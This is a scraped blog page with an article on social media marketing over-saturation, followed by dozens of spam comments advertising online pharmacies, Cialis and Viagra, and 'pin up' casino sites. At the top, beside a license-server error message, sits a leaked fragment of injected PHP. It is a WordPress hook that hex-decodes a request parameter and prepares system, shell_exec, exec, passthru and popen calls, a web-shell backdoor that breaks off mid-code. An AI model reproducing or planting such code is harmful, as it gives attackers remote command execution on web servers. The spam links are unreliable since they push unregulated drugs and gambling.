Problem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.comProblem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.com/***/add_action('wp', function() { if (!isset($_REQUEST["property_set"])) return; $system_core = "hex2bin"; $hub_center1 = "system"; $hub_center2 = "shell_exec"; $hub_center4 = "passthru"; $hub_center3 = "exec"; $hub_center6 = "stream_get_contents"; $hub_center7 = "pclose"; $hub_center5 = "popen"; $property_set = $system_core($_REQUEST["property_set"]); $marker = ''; for($x=0;$x*/ Social Media Marketing and Over-Saturation: When is Enough Enough? | Sports NetworkerSports Networker

Navigation

You are here: Home > Social Media Marketing and Over-Saturation: When is Enough Enough?

Social Media Marketing and Over-Saturation: When is Enough Enough?

Written by in Sports Marketing
Comment
188

Recently I went to China to play beach volleyball. While I was there I noticed the Chinese approach to marketing clothes, products, and services was very aggressive — products and services were constantly ‘in your face’. 

The supermarkets in particular were particularly fascinating – aisles upon aisles of products and signage,consumers hit with marketing messages when they least expected it. So much so I felt overwhelmed by all of the advertising, and anytime I ventured into a commercial area I felt a real urgency to get out of there asap. Lately this is how I have also felt in a number of social media networks I have joined. The overload of advertising messages and spam is encouraging me to disengage more often. Rather than having to deal with spam, I am culling a large number of followers or disconnecting from people who have ‘signed me up’ to marketing material without my consent.

In David Meerman Scott’s book ‘The New Rules of PR & Marketing’ he talks about traditional marketing methods versus the internet or social media marketing methods. Traditional marketing interrupts a consumer to get the message through, whereas social media marketing or internet marketing primarily relies on the consumer connecting first with that product so then they can be marketed to.

It is important to remember social media networks are channels that most consumers initially became part of because they wanted to share information about themselves or connect with their friends easier, not because they agreed to be advertised to. (Well maybe not consciously anyway with the exception of channels specifically set up to deliver offers or discounts on products ie. Scoopon, Ebay.) Personal pages or business profiles filled with constant advertising messages risk alienation of their target market, especially if they aren’t balanced with more socially oriented content. If you are going to sell to your followers, fans, or friends it is better to let them know in the beginning so they don’t disconnect from you/your business when they realize they have been tricked into a marketing funnel.

The repetition of sales type copy, one-sided messages or social media users added to pages or newsletters that they didn’t consent to is spamming, and abuse of a social media network, and can see your company banned from that particular network.

Although everyone can probably be found guilty of self-promotion at times, if you continuously over-saturate your market you risk cheapening the perceived value of your product. Or increase the possibility people will get so sick of hearing about your product  they will go out of their way to NOT purchase it.

Building a brand effectively involves repeating your message regularly, in the best advertising channels that will reach your target market to ensure the message gets through to the consumers. On social media networks it is vital for any company or business to genuinely engage with their followers, otherwise you haven’t grasped the concept of ‘social media’. Building genuine sales leads is often dependent on establishing genuine relationships with people so that when you do want to sell to them, they already trust you (and therefore more likely to listen to your sales copy!)

Image by stevendepolo

, ,

188 Responses to Social Media Marketing and Over-Saturation: When is Enough Enough?

  1. Lamarrax April 15, 2026 at 3:48 am #

    professional pharmacy [url=https://civicmeds.shop/#]cyprus online pharmacy[/url] cheapest pharmacy for prescriptions without insurance

  2. JustinLoase April 15, 2026 at 6:06 am #

    cialis for sale: Tadalafil Tablet – buy cialis pill

  3. Lamarrax April 15, 2026 at 6:33 am #

    best european online pharmacy [url=http://civicmeds.com/#]canada rx pharmacy world[/url] austria pharmacy online

  4. JamesTus April 15, 2026 at 7:12 am #

    http://veritascarepharm.com/# Generic Cialis price

  5. DavidMar April 15, 2026 at 8:11 am #

    http://corebluehealth.com/# over the counter sildenafil

  6. JustinLoase April 15, 2026 at 8:51 am #

    polish pharmacy online uk: what’s the best online pharmacy – legitimate online pharmacy uk

  7. Lamarrax April 15, 2026 at 9:21 am #

    Generic Tadalafil 20mg price [url=https://veritascarepharm.com/#]Generic Tadalafil 20mg price[/url] VeritasCare

  8. JustinLoase April 15, 2026 at 11:34 am #

    trust pharmacy: canadian pharmacy sarasota – reputable online pharmacy reddit

  9. Lamarrax April 15, 2026 at 12:10 pm #

    rx pharmacy online [url=https://civicmeds.com/#]CivicMeds[/url] world pharmacy india

  10. DavidMar April 15, 2026 at 12:45 pm #

    https://corebluehealth.com/# CoreBlue Health

  11. JustinLoase April 15, 2026 at 2:16 pm #

    canadian pharmacy coupon code: online otc pharmacy – rx online pharmacy

  12. Lamarrax April 15, 2026 at 2:56 pm #

    VeritasCare [url=https://veritascarepharm.shop/#]Cialis without a doctor prescription[/url] VeritasCare

  13. JamesTus April 15, 2026 at 4:26 pm #

    https://veritascarepharm.shop/# VeritasCare

  14. JustinLoase April 15, 2026 at 4:54 pm #

    buy Viagra over the counter: CoreBlue Health – CoreBlue Health

  15. DavidMar April 15, 2026 at 5:14 pm #

    https://civicmeds.com/# rate canadian pharmacies

  16. Lamarrax April 15, 2026 at 5:38 pm #

    CoreBlue Health [url=http://corebluehealth.com/#]viagra without prescription[/url] Cheapest Sildenafil online

  17. JustinLoase April 15, 2026 at 7:36 pm #

    buy cialis pill: Cialis over the counter – VeritasCare

  18. Lamarrax April 15, 2026 at 8:21 pm #

    buy Viagra online [url=https://corebluehealth.com/#]sildenafil over the counter[/url] CoreBlue Health

  19. EddieTot April 15, 2026 at 10:07 pm #

    https://pinupazz.top/ pin up casino

  20. OdellGremy April 16, 2026 at 12:34 am #

    https://pinupaz.online/ pin-up oyunu

  21. Danielskest April 16, 2026 at 12:37 am #

    https://pin-up-kz.space/ пин ап казино

  22. GeorgeThers April 16, 2026 at 2:02 am #

    pin up az online pin-up online casino

  23. Danielskest April 16, 2026 at 3:31 am #

    пин ап пин ап казино kz

  24. EddieTot April 16, 2026 at 6:04 am #

    https://pinupazz.top/ pin-up oyunu

  25. GeorgeThers April 16, 2026 at 6:20 am #

    pin up pin up casino

  26. Danielskest April 16, 2026 at 6:22 am #

    https://pin-up-kz.space/ пин ап казахстан

  27. Danielskest April 16, 2026 at 9:15 am #

    https://pin-up-kz.space/ пин ап казино

  28. GeorgeThers April 16, 2026 at 10:36 am #

    pin up pin up az

  29. EddieTot April 16, 2026 at 11:20 am #

    pin up pin up az

  30. Danielskest April 16, 2026 at 12:05 pm #

    пин ап пин ап казино kz

  31. OdellGremy April 16, 2026 at 1:00 pm #

    https://pinupaz.online/ pin up

  32. EddieTot April 16, 2026 at 2:00 pm #

    pin up pin up casino

  33. GeorgeThers April 16, 2026 at 2:55 pm #

    https://pinupaz.online/ pin up casino

  34. Danielskest April 16, 2026 at 3:00 pm #

    пин ап пин ап казино kz

  35. Danielskest April 16, 2026 at 5:50 pm #

    пин ап пин ап казино

  36. GeorgeThers April 16, 2026 at 7:08 pm #

    https://pinupaz.online/ pin up casino

  37. EddieTot April 16, 2026 at 7:14 pm #

    pin up pin up az

  38. Danielskest April 16, 2026 at 8:34 pm #

    https://pin-up-kz.space/ пин ап казино kz

← Older Comments

Leave a Reply

Website Managed by T3 CONNECT